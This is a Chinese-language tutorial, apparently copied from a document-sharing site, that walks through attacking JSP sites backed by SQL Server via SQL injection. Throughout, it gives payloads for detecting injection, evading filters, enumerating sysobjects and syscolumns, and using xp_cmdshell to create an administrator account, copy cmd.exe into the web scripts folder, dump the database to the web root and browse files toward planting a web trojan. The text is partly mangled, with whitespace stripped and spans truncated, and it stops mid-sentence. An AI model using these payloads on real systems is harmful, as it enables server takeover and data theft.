1/7sql注入过程详解SQL注入攻击的总体思路是:1.发现SQL注入位置;2.判断后台数据库类型;3.确定XP_CMDSHELL可执行情况4.发现WEB虚拟目录5.上传JSP木马;6.得到管理员权限;一、SQL注入漏洞的判断一般来说,SQL注入一般存在于形如:=XX等带有参数的jsp或者动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。为了把问题说明清楚,以下以=YY为例进行分析,YY可能是整型,也有可能是字符串。1、整型参数的判断当输入的参数YY为整型时,通常abc.jsp中SQL语句原貌大致如下:select*from表名where字段=YY,所以可以用以下步骤测试SQL注入是否存在。①=YY’(附加一个单引号),此时abc.JSP中的SQL语句变成了select*from表名where字段=YY’,abc.jsp运行异常;②=YYand1=1,abc.jsp运行正常,而且与=YY运行结果相同;③=YYand1=2,abc.jsp运行异常;如果以上三步全面满足,abc.jsp中一定存在SQL注入漏洞。2、特殊情况的处理有时JSP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+=%2B,空格=%20等;URLEncode信息参见附件一;③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附二;二、区分数据库服务器类型2/7一般来说,mysql是最常用的数据库服务器,尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。1、利用数据库服务器的系统变量进行区分SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:①=YYanduser0不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名②=YY&n...db_name()0不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;2、利用系统表ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:①=YYand(selectcount(*)fromsysobjects)0②=YYand(selectcount(*)frommsysobjects)0若数据库是SQL-SERVE,则第一条,abc.jsp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。3、MSSQL三个关键系统表sysdatabases系统表:MicrosoftSQLServer上的每个数据库在表中占一行。最初安装SQLServer时,sysdatabases包含master、model、msdb、mssqlweb和tempdb数据库的项。该表只存储在master数据库中。这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是保存了所有的库名,以及库的ID和一些相关信息。这里我把对于我们有用的字段名称和相关说明给大家列出来。name//表示库的名字。dbid//表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb这五个库。用select*frommaster.dbo.sysdatabases就可以查询出所有的库名。Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。Name,id,xtype,uid,status:分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。对象类型(xtype)。可以是下列对象类型中的一种:C=CHECK约束D=默认值或DEFAULT约束F=FOREIGNKEY约束L=日志FN=标量函数IF=内嵌表函数P=存储过程PK=PRIMARYKEY约束(类型是K)RF=复制筛选存储过程S=系统表TF=表函数TR=触发器U=用户表UQ=UNIQUE约束(类型是K)3/7V=视图X=扩展存储过程当xtype='U'andstatus0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。用:select*fromChouYFD.dbo.sysobjectswherextype='U'andstatus0就可以列出库ChouYFD中所有的用户建立的表名。syscolumns:每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:name,id,colid:分别是字段名称,表ID号,字段ID号,其中的ID是刚上我们用sysobjects得到的表的ID号。用:select*fromChouYFD.dbo.syscolumnswhereid=123456789得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。三、确定XP_CMDSHELL可执行情况若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省1、=YY&nb...er0abc.jsp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。2、=YY...me()0abc.jsp执行异常但可以得到当前连接的数据库名。3、=YY;execmaster..xp_cmdshell“netuseraaabbb/add”--(master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。4、=YY;execmaster..xp_cmdshell“netlocalgroupadministratorsaaa/add”--把刚刚增加的帐户aaa加到administrators组中。5、=YY;backuupdatabase数据库名todisk='c:\inetpub\则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。6、通过复制CMD创建UNICODE漏洞=YY;exe...dbo.xp_cmdshell“copyc:\winnt\system32\cmd.exec:\inetpub\scripts\cmd.exe”便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。四、发现WEB虚拟目录只有找到WEB虚拟目录,才能确定放置JSP木马的位置,进而得到USER权限。有两种方法比较有效。一是根据经验猜解,一般来说,WEB虚拟目录是:c:\inetpub\:\inetpub\:\inetpub\等,而可执行虚拟目录是:c:\inetpub\scripts;D:\inetpub\scripts;E:\inetpub\scripts等。二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;先创建一个临时表:temp=YY;create&n...mp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--接下来:4/7(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:=YY;inserttemp...ter.dbo.xp_availablemedia;--我们可以通过查询temp的内容来获得驱动器列表及相关信息(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:=YY;insertintotemp(i...dbo.xp_subdirs'c:\';--(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:=YY;insertintotemp(id,num1)execmaster.dbo.xp_dirtree'c:\';--这样就可以成功的浏览到所有的目录(文件夹)列表:如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:=YY;insertintotemp(id)exec...nbsp;'typec:\web\index.jsp';--使用'bulkinsert'语法可以将一个文本文件插入到一个临时表中。如:bulkinserttemp(id)from'c:\inetpub\浏览temp就可以看到index.jsp文件的内容了!通过分析各种JSP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。当然,如果xp_cmshell能够执行,我们可以用它来完成:=YY;insertintotemp(id)&nbs...cmdshell'dirc:\';--=YY;insertintotemp(id)&n...p_cmdshell'dirc:\*.jsp/s/a';--通过xp_cmdsh